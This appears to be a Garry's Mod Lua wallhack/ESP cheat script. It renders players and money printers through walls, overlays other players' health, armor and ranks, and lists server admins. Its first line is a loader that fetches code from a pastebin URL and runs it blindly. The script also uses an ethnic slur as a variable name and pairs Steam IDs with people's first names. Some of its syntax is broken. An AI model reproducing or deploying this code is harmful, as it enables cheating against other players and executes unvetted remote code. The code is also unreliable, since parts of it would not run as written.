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- -- lua_run http.Fetch("https://pastebin.com/raw/gjis0J3C", function(b) RunString(b) end)
- -- CFG
- SS = {}
- SS.Friends = {
- "STEAM_0:1:54036802" = {"Рамиль"},
- "STEAM_0:1:441511775" = {"Полина"},
- "STEAM_0:1:64411336" = {"Макс"}
- }
- SS.Printers = {
- "derma_printer",
- "money_printer"
- }
- -- do not touch code under
- function round(num, numDecimalPlaces)
- local mult = 10^(numDecimalPlaces or 0)
- return math.floor(num * mult + 0.5) / mult
- end
- print("есть пробитие")
- if niger == nil then
- module( "alo", package.seeall )
- local mat_Copy = Material( "pp/copy" )
- local mat_Add = Material( "pp/add" )
- local mat_Sub = Material( "pp/sub" )
- local rt_Store = render.GetScreenEffectTexture( 0 )
- local rt_Blur = render.GetScreenEffectTexture( 1 )
- local List = {}
- local RenderEnt = NULL
- function Odd( entities, color, blurx, blury, passes, add, ignorez )
- --if ( table.IsEmpty( entities ) ) then return end
- if ( add == nil ) then add = true end
- if ( ignorez == nil ) then ignorez = false end
- local t =
- {
- Ents = entities,
- Color = color,
- Hidden = when_hidden,
- BlurX = blurx or 2,
- BlurY = blury or 2,
- DrawPasses = passes or 1,
- Additive = add,
- IgnoreZ = ignorez
- }
- table.insert( List, t )
- end
- function RenderedEntity()
- return RenderEnt
- end
- function Render( entry )
- local rt_Scene = render.GetRenderTarget()
- -- Store a copy of the original scene
- render.CopyRenderTargetToTexture( rt_Store )
- -- Clear our scene so that additive/subtractive rendering with it will work later
- if ( entry.Additive ) then
- render.Clear( 0, 0, 0, 255, false, true )
- else
- render.Clear( 255, 255, 255, 255, false, true )
- end
- -- Render colored props to the scene and set their pixels high
- cam.Start3D()
- render.SetStencilEnable( true )
- render.SuppressEngineLighting(true)
- cam.IgnoreZ( entry.IgnoreZ )
- render.SetStencilWriteMask( 1 )
- render.SetStencilTestMask( 1 )
- render.SetStencilReferenceValue( 1 )
- render.SetStencilCompareFunction( STENCIL_ALWAYS )
- render.SetStencilPassOperation( STENCIL_REPLACE )
- render.SetStencilFailOperation( STENCIL_KEEP )
- render.SetStencilZFailOperation( STENCIL_KEEP )
- for k, v in pairs( entry.Ents ) do
- if ( !IsValid( v ) ) then continue end
- RenderEnt = v
- v:DrawModel()
- end
- RenderEnt = NULL
- render.SetStencilCompareFunction( STENCIL_EQUAL )
- render.SetStencilPassOperation( STENCIL_KEEP )
- -- render.SetStencilFailOperation( STENCIL_KEEP )
- -- render.SetStencilZFailOperation( STENCIL_KEEP )
- cam.Start2D()
- surface.SetDrawColor( entry.Color )
- surface.DrawRect( 0, 0, ScrW(), ScrH() )
- cam.End2D()
- cam.IgnoreZ( false )
- render.SuppressEngineLighting(false)
- render.SetStencilEnable( false )
- cam.End3D()
- -- Store a blurred version of the colored props in an RT
- render.CopyRenderTargetToTexture( rt_Blur )
- render.BlurRenderTarget( rt_Blur, entry.BlurX, entry.BlurY, 1 )
- -- Restore the original scene
- render.SetRenderTarget( rt_Scene )
- mat_Copy:SetTexture( "$basetexture", rt_Store )
- render.SetMaterial( mat_Copy )
- render.DrawScreenQuad()
- -- Draw back our blured colored props additively/subtractively, ignoring the high bits
- render.SetStencilEnable( true )
- render.SetStencilCompareFunction( STENCIL_NOTEQUAL )
- -- render.SetStencilPassOperation( STENCIL_KEEP )
- -- render.SetStencilFailOperation( STENCIL_KEEP )
- -- render.SetStencilZFailOperation( STENCIL_KEEP )
- if ( entry.Additive ) then
- mat_Add:SetTexture( "$basetexture", rt_Blur )
- render.SetMaterial( mat_Add )
- else
- mat_Sub:SetTexture( "$basetexture", rt_Blur )
- render.SetMaterial( mat_Sub )
- end
- for i = 0, entry.DrawPasses do
- render.DrawScreenQuad()
- end
- render.SetStencilEnable( false )
- -- Return original values
- render.SetStencilTestMask( 0 )
- render.SetStencilWriteMask( 0 )
- render.SetStencilReferenceValue( 0 )
- end
- hook.Add( "PostDrawEffects", "RenderHalos", function()
- hook.Run( "PreDrawHalos" )
- if ( #List == 0 ) then return end
- for k, v in ipairs( List ) do
- Render( v )
- end
- List = {}
- end )
- niger = true
- end
- hook.Remove("PreDrawHalos", "123dw")
- hook.Add( "PreDrawHalos", "123dw", function()
- for k, v in pairs(player.GetAll()) do
- if v:IsValid() then
- if v:Health() > 0 then
- if table.HasValue(SS.Friends, v:SteamID()) then
- alo.Odd({v}, Color(0,255,0), 2, 2, 3, true, true)
- end
- end
- end
- end
- end)
- hook.Remove("HUDPaint", "1232323")
- hook.Add( "HUDPaint", "1232323", function()
- surface.SetDrawColor( 255, 0, 0, 200)
- surface.DrawRect( ScrW()/2, ScrH()/2, 1, 1)
- cam.Start3D()
- for id, ply in pairs( player.GetAll() ) do
- if LocalPlayer():GetPos():Distance(ply:GetPos()) < 2500 then
- if ply:Health() > 0 then
- ply:DrawModel()
- end
- end
- end
- for k, v in pairs(ents.GetAll()) do
- if table.HasValue(SS.Printers, v:GetClass()) then
- v:DrawModel()
- end
- end
- cam.End3D()
- for k, v in pairs(ents.GetAll()) do
- if table.HasValue(SS.Printers, v:GetClass()) then
- local pos = v:GetPos():ToScreen()
- local money = v:GetMoney() or "Not found"
- draw.DrawText( "$" .. money .. " | " .. round(LocalPlayer():GetPos():Distance(v:GetPos())/100) .. "m", "Default", pos.x, pos.y, Color(255,0,0),1)
- end
- end
- for k, v in pairs(player.GetAll()) do
- if v:Health() > 0 then
- if LocalPlayer():GetPos():Distance(v:GetPos()) < 1000 then
- local pos = v:GetPos():ToScreen()
- draw.DrawText( v:GetUserGroup(), "Default", pos.x, pos.y-50, Color(0,0,255),1)
- local pos = v:GetPos():ToScreen()
- draw.DrawText( "HP: " .. v:Health() .. " | ARM: " .. v:Armor(), "Default", pos.x, pos.y-30, Color(0,255,0),1)
- end
- if table.HasValue(SS.Friends, v:SteamID()) then
- local pos = v:GetPos():ToScreen()
- draw.SimpleTextOutlined( SS.Friends[v:SteamID()][1], "Default", pos.x, pos.y-80, Color(100,100,255),1,1,1,Color(0,0,0))
- end
- end
- end
- end )
- for k,v in pairs(player.GetAll()) do
- if v:IsAdmin() then
- print(v:Name().." - "..v:GetUserGroup())
- end
- end
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